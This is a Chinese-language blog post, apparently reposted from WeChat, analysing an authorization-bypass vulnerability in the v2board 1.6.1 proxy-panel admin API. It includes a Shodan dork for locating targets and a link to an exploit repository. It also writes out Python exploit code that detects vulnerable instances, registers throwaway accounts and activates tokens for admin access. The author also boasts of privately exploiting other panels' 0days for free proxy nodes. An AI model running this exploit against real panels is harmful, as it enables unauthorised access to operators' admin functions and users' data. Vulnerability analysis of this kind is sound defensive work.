v2board v.1.6.1 机场面板管理接口越权漏洞分析
2023-5-28 11:57:29 Author: 白帽子左一(查看原文) 阅读量:54 收藏

扫码领资料

获网安教程

免费&进群

前几天爆发的v2board机场面板漏洞,泄露了大量机场用户的数据。简单看了下,原理挺简单的,就是authorization使用redis缓存后没有对普通用户和管理员做鉴权。以普通用户登录成功后可以直接请求管理员的接口。

文章目录

  • Shodan 搜索语法

  • 漏洞exp

  • 漏洞代码分析

  • exp开发思路

    • 如何鉴别存在漏洞的v2board版本?

    • 判断是否需要邮箱验证注册

    • 注册账号并登录

    • 登录账号将authorization写入redis缓存

    • 获取管理员接口数据

  • 总结

Shodan 搜索语法

http.html:”/theme/v2board/assets/“

漏洞exp

https://github.com/zgao264/v2board-exp

漏洞代码分析

代码位置:app/Http/Middleware/Admin.php

在Admin.php中判断redis缓存中是否存在authorization,如果存在就可以访问admin的接口。而这个authorization是没有进一步判断是不是管理员的authorization,所以就造成了普通用户也可以接管机场后台。

修复后的代码去掉了之前缓存判断的逻辑。

exp开发思路

漏洞原理非常简单,那么如何快速写一个exp脚本?

如何鉴别存在漏洞的v2board版本?

观察上面存在漏洞的代码,我们可以发现在缓存的判断逻辑中,403的提示是不一样的。如果请求header中没有携带authorization,那么就返回**未登录或登陆已过期**。如果有则进一步判断authorization的值是否在redis中,没有则**返回鉴权失败,请重新登录**

所以我们可以构造一个请求触发返回鉴权失败,请重新登录这个403。代码如下:

  1. headers = {

  2. 'authorization': '1',

  3. 'user-agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36',

  4. }

  5. def POC():

  6. """

  7. 检测目标v2board是否为v1.6.1漏洞版本

  8. """

  9. path = '/api/v1/admin/config/fetch'

  10. url = f"{target}{path}".replace('//api','/api')

  11. r = s.get(url,headers=headers,verify=False)

  12. if r.status\_code == 403 and '\\\\u9274\\\\u6743\\\\u5931\\\\u8d25' in r.text:

  13. print(f"\[+\]{target}存在漏洞!")

  14. else:

  15. print(f"\[-\]{target}不存在漏洞!")

  16. exit(0)

手动构造一个header,authorization可以是任意值。

判断是否需要邮箱验证注册

v2board的后台大部分是可以直接注册的,部分需要邮箱验证。对于邮箱验证的需要对接邮箱的api才能完成自动化利用,我就懒得写了。

代码如下:

  1. def check\_verify():

  2. """

  3. 判断目标注册是否需要邮箱、邀请验证

  4. """

  5. path = '/api/v1/guest/comm/config'

  6. url = f"{target}{path}".replace('//api','/api')

  7. resp = s.get(url,headers=headers).json()\['data'\]

  8. if not resp\['is\_invite\_force'\] and not resp\['is\_email\_verify'\]:

  9. print(f"\[+\]目标无需邮箱验证,可直接获取权限")

  10. elif resp\['is\_invite\_force'\]:

  11. print(f"\[-\]目标需要邀请注册,无法获取权限!")

  12. exit(0)

  13. elif resp\['is\_email\_verify'\]:

  14. print("目标需要获取邮箱验证码才能进一步利用!")

  15. exit(0)

  16. ### 注册账号并登录,对于没有邮箱验证的后台,可以使用任意伪造的邮箱进行注册,注册成功后会返回auth\_data。

  17. def registry\_acc():

  18. """

  19. 随机注册账号,并返回auth\_data

  20. """

  21. rand\_num = str(random.random())\[8:\]

  22. QQ\_mail = rand\_num + '@qq.com'

  23. passwd = rand\_num

  24. data = {

  25. 'email': QQ\_mail,

  26. 'password': passwd,

  27. 'invite\_code': '',

  28. 'email\_code': ''

  29. }

  30. path = '/api/v1/passport/auth/register'

  31. url = f"{target}{path}".replace('//api','/api')

  32. r = s.post(url,headers=headers,data=data)

  33. if r.status\_code == 200:

  34. print(f"\[+\]当前随机注册的账号为{QQ\_mail},密码为{passwd}")

  35. return QQ\_mail,passwd

  36. else:

  37. print(f"\[-\]目标已关闭账号注册!")

  38. exit(0)

  39. ### 登录账号将authorization写入redis缓存这个是很重要的一步,为漏洞代码的判断逻辑。注意登录后需要请求/user/info接口才能使authorization生效。

  40. def login(email,passwd):

  41. """

  42. 登录后需要请求/user/info接口才能使authorization生效

  43. """

  44. data = {

  45. 'email': email,

  46. 'password': passwd

  47. }

  48. path = '/api/v1/passport/auth/login'

  49. url = f"{target}{path}".replace('//api','/api')

  50. r = s.post(url, headers=headers, data=data)

  51. if r.status\_code == 200:

  52. print('\[+\]账号登录成功!')

  53. auth\_data = r.json()\['data'\]\['auth\_data'\]

  54. headers\['authorization'\] = auth\_data

  55. s.get(f'{target}/api/v1/user/info', headers=headers)

  56. return auth\_data

  57. else:

  58. print('\[-\]账号登录失败!')

  59. exit(0)

获取管理员接口数据

这部分就是把敏感的管理接口数据给dump下来,代码就不放了。利用如下:

总结

漏洞原理很简单,属于逻辑漏洞。但是从代码审计的角度还不一定好发现,渗透测越权应该很容易测试出来。

但是我还是想吐槽一下,公开机场的这些用户数据也没啥意义,大不了换个订阅继续弄。有0day还不如留着白嫖机场节点,我之前挖的其他机场的漏洞从来没公开过,用来做扫描代理还是挺好使的。

来源:https://zgao.top/v2board-v-1-6-1-机场面板管理接口越权漏洞分析/

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247595220&idx=1&sn=395898c6c6ade4e8f2e6127f13826e80&chksm=ebeb3df9dc9cb4ef76b563134844e3c302b351b5df11da9dd3bc7b0a1c265923cbfe325f67da#rd
如有侵权请联系:admin#unsafe.sh